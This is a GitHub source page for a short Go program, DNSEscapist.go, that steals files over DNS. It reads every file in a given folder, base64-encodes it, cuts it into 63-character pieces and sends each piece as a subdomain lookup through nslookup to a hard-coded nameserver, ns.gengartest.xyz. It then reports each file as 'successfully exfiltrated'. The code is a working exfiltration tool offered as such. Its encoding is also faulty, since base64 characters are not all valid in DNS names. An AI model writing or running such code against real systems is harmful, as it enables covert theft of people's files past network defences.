-
Notifications
You must be signed in to change notification settings - Fork 0
/
DNSEscapist.go
60 lines (54 loc) · 1.32 KB
/
DNSEscapist.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package main
import (
"encoding/base64"
"fmt"
"io/ioutil"
"os"
"os/exec"
)
var domain string = "gengartest.xyz"
var NameServer string = "ns.gengartest.xyz"
func OpenFileToBase64(file string, folder string) string {
bytes, err := os.ReadFile(folder + "/" + file)
if err != nil {
fmt.Println(err.Error())
}
encoded := base64.StdEncoding.EncodeToString((bytes))
fmt.Println("Sending file ---> " + folder + "/" + file)
return encoded
}
func Nslookup(subDomain string) {
domena := subDomain + "." + domain
cmd := exec.Command("nslookup", domena, NameServer)
fmt.Println("Sending data ---> " + domena + "\n")
cmd.Run()
}
func SendtoServer(encoded string, modulo int) {
if len(encoded) == modulo {
subDomain := encoded[0:modulo]
Nslookup(subDomain)
return
}
subDomain := encoded[0:63]
Nslookup(subDomain)
rest := encoded[63:]
SendtoServer(rest, modulo)
}
func main() {
//iterate through files and send them
args := os.Args[1]
files, err := ioutil.ReadDir(args)
if err != nil {
fmt.Println(err.Error())
}
for _, file := range files {
if file.Size() == 0 {
fmt.Println("File " + file.Name() + " empty!")
continue
}
base64blob := OpenFileToBase64(file.Name(), args)
modulo := len(base64blob) % 63
SendtoServer(base64blob, modulo)
fmt.Println("[+] File " + file.Name() + " successfully exfiltrated")
}
}